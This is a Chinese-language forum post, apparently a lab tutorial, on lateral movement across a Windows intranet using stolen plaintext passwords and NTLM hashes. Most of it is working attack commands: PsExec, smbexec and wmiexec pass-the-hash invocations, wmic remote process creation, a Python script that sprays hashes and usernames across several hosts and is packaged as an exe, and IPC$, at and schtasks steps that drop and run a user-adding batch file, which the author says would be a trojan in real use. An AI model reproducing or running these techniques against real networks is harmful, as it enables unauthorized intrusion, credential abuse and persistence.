电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 1474 人浏览分享

内网渗透---内网横向渗透

[复制链接]
1474 0
内网渗透---内网横向渗透

内网安全 web安全

前言

前面一篇文章已经对内网信息收集以及明文和hash的获取做了详细介绍 环境也在那篇文章中 接下来将
介绍各种明文或hash传递进行横向渗透。由于ps.exec这里包含了s.ex单词,系统会自动删除 所以在
ps.exec中加了一个点 请师傅们见谅。

横向渗透

在拿下一台内网主机后 利用既有的资源尝试获取更多的凭据、更高的权限 一步一步拿下更多的主机
进而达到控制整个内网、获取到最高权限、发动高级持续性威胁攻击的目的。我们掌握的方法越多
可能拿到的主机权限的机会就越大。

利用Ps.Exec工具进行横向渗透

Ps.Exec 最强大的功能之一是在远程系统和远程支持工具 如 ipconfig 中启动交互式命令提示窗口 以便显示
无法通过其他方式显示的有关远程系统的信息 并且可以获得与控制台应用程序相当的完全交互性。Ps.Exec
的使用不需要对方主机开放3389端口,只需要对方开启admin$共享  该共享默认开启 。由于Ps.Exec是
Windows提供的工具 所以杀毒软件将其列在白名单中。

下载地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/p**ec

主要有以下两种攻击方法

1.Ps.exec需建立ipc链接进行横向渗透

132258aqpekmp963pkzqaf.png

9998.png

2.Ps.exec不需要建立ipc链接进行横向渗透

ps.exec \192.168.3.144 -u administrator -p admin!@#45 -s cmd

9997.png

在这些情况下我们无法获取明文密码
Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁 同样也会导致无法获取明文密码
Windows系统LM Hash及NTLM Hash加密算法 个人系统在windows vista后
服务器系统在windows2003以后 认证方式均为NTLM Hash
此时进行横向渗透测试使用官方自带的ps.exec行不通

ps.exec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.144

9996.png

2.smbexec实现无需建立ipc链接传递明文进行横向渗透

smbexec ./administrator:admin!@#45@192.168.3.144  链接本地组用户

9992.png

smbexec ROOTKIT.ORG/administrator:admin!@#45@192.168.3.144 链接域内用户

9991.png

3.smbexec实现无需建立ipc链接传递hash进行横向渗透

smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.144

9990.png

利用WMI进行横向渗透

WMI简介

WMI的全名为(Windows Management Instrumentation)由于安全厂商开始将Ps.Exec加入了黑名单 所以攻击者暴露的
可能性陡然增加。根据研究情况来看 Windows操作系统默认不会将WMI的操作记录到日志当中 而且因为采用的是无文件攻
击所以导致WMI具有极高的隐蔽性。由此 越来越多的APT开始使用WMI进行攻击,利用WMI可以进行信息收集 探测反病毒
虚拟机检测、命令执行 权限持久化等操作。

作用:Windows操作系统都支持WMI。WMI是由一系列工具集组成的 可以在本地或者远程管理计算机系统
通过135端口进行利用 支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
利用系统自带的wmic 进行明文传递横向渗透。

wmic /node:192.168.3.144 /user:administrator /password:admin!@#45 pro
cess call create "md.exe /c ipconfig >C:\3.txt"

8999.png

在使用自带的wmic时 无回显 下面这条命令显示的内容保存在3.txt文件中 并且是在被攻击的主机中 较为鸡肋。

132916wpoqc9eotqnbzpev.png

利用wmiexec.vbs与cs cript配合进行横向渗透
为了解决有回显的问题 使用自带的cscript进行明文传递 但需要配合wmiexec.vbs才可 wmiexec.vbs脚本通过VBS调用
WMI来模拟Pec的功能。其可以在远程系统中执行命令并进行回显 获取远程主机的半交互式Shell。这个文件一般不会
被防护软件查杀,使用时需要将目录切换至拥有wmiexec.vbs的目录下 该方法较好 推荐使用。

下载地址:
wmiexec.vbs下载地址:https://pan.baidu.com/s/1hsSuQLiolqqcUUHgmjPW7A
提取码:4534
cscript //nologo wmiexec.vbs /shell 192.168.3.144 Administrator admin!@#45
获取192.168.3.144主机的系统权限

8998.png

cs cript //nologo wmiexec.vbs /shell 192.168.3.73 Administrator Admin12345  
##返回192.168.3.73主机的系统权限

8997.png

利用非系统自带的wmiexec进行横向渗透**
使用impacket工具包中的wmiexec 进行明文hash传递横向渗透 有回显
wmiexec ./Administrator:admin!@#45@192.168.3.144 "whoami"

8996.png

当我们反弹回system权限的命令终端时 一般利用自带的WMI常用命令来进行操作操作

wmiexec -hashes :518b98ad4178a53695dc997aa02d455c Administrator@192.168.3.73 "whoami"

8993.png

利用脚本生成exe批量横向渗透

Python脚本:
  1. import os, time
  2. ips = {
  3.     '192.168.3.144',
  4.     '192.168.3.73',
  5.     '192.168.3.75'
  6. }
  7. users = {
  8.     'Administrator',
  9.     'administrator',
  10.     'backup',
  11.     'webadmin',
  12.     'jerry',
  13.     'mary',
  14.     'webadmin'
  15. }
  16. hashs = {
  17.     'ccef208c6485269c20db2cad21734fe7',
  18.     '518b98ad4178a53695dc997aa02d455c'
  19. }
  20. for ip in ips:
  21.     for user in users:
  22.         for mimahash in hashs:
  23.             # wmiexec -hashes :hash god/user@ip whoami
  24.             exec = "wmiexec -hashes :" + mimahash + " rootkit/" + user + "@" + ip + " whoami"
  25.             exec1 = "wmiexec -hashes :" + mimahash + " ./" + user + "@" + ip + " whoami"
  26.             print('--->' + exec + '<---')
  27.             print('--->' + exec1 + '<---')
  28.             os.system(exec)
  29.             time.sleep(0.5)
复制代码

安装pyinstaller:pip install pyinstaller

8882.png

将python文件打包成exe程序

8881.png

这里特别要注意 在运行时需要将程序放到拥有wmiexec.exe的目录下 因为程序在运行时会调用它
因为在python脚本中有对wmiexec进行引用。

880.png

最终结果

879.png

IPC+Windows服务来进行横向移动

利用sc横向渗透

使用Windows服务来进行横向移动有点类似利用计划任务进行横向移动 核心是将木马文件传入目标机中
然后通过SC命令创建一个Windows服务用来指向传入的木马文件,最后启动该服务或者重启目标机即可
触发该木马 实现横向移动。

在使用sc命令横向渗透时 首先也得先建立ipc链接 将要运行的服务拷贝过去目标主机 创建服务:sc \\192.168.3.144
create cmd binpath="c:\cmd.bat"发现可以为目标主机创建服务,但是在启动服务时,却一直报错 于是我想通过
schtasks来启动服务也不可以 这到底是什么原因呢?

878.png

通过查询大量的资料,发现在使用sc命令时,有两个个鸡肋就是不允许将bat做成服务运行 一般的exe也都不行 因为做
成服务的可执行文件,它的代码编写是有固定格式的,这个exe程序服务需要提前准备好,因为要根据自己的需求编写
这一点一定要切记,在进行横向渗透测试时经常会忽略这样的一个小细节。
可是我既然不会写这样的服务 那我可不可以使用命令来验证sc命令是可行的呢?通过测试果真可以
如查询192.168.3.144的远程桌面连接服务的管理权限
sc \\192.168.3.144 qprivs TermService

876.png

由于我这里没有成功执行程序 所以推荐一篇使用sc命令成功执行exe服务的文章 请参考:
https://www.freesion.com/article/2259895176/

IPC+计划任务进行横向渗透

利用AT横向渗透

net use \\192.168.3.144\ipc$ "admin!@#45"/user:rookit.org\administrator

建立ipc连接,需要139,445端口开放,工作组需要加上域内名字 工作组不需要

699.png

编写一个添加一个用户的bat脚本 在实战情况下一般来讲是木马

698.png

将adduser.bat发送至域控copy adduser.bat \\192.168.3.144\c$

687.png

at \\192.168.1.144 20:05 c:\adduser.bat
设置计划任务 在这里测试 我发现并不是像网上所说 Windows<2012就可以使用at命令
这里的2008也已经弃用AT命令。

686.png

利用Schtasks进行横向渗透

schtasks /create /s 192.168.3.144 /ru “SYSTEM” /tn adduser /sc DAILY /tr c:\adduser\adduser.bat /f
在这里使用schtasks时,通过大量的实验发现无论是在2008还是2012实验都无效,并且系统已经提升为系统权
限说明在这个环境中schtasks无法用来横向渗透。

683.png

682.png

由于这里没有成功所以推荐大家参考这篇文章:https://cloud.tencent.com/developer/article/1743842
建立IPC失败的原因
(1)目标系统不是NT或以上的操作系统 (2)对方没有打开IPC$共享 (3)对方未开启139 445端口
或者被防火墙屏蔽 (4)输出命令 账号密码有错误

建立IPC常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是IP地址错误 目标未开机 目标Lanmanserver服务未启动 有防火墙等问题
(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
(5)1219:提供的凭据和已经存在的凭据集冲突 说明已经建立了IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标NetLogon服务未启动 连接域控常常会出现此情况
(8)2242:用户密码过期 目标有账号策略 强制定期更改密码

总结

在这里几乎将明文和hash传递横向渗透攻击写完了 在内网横向渗透的过程中 我们要时刻考虑免杀的问题
有的横向渗透方法无法使用我们要果断放弃 希望这篇文章对您有所帮助。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.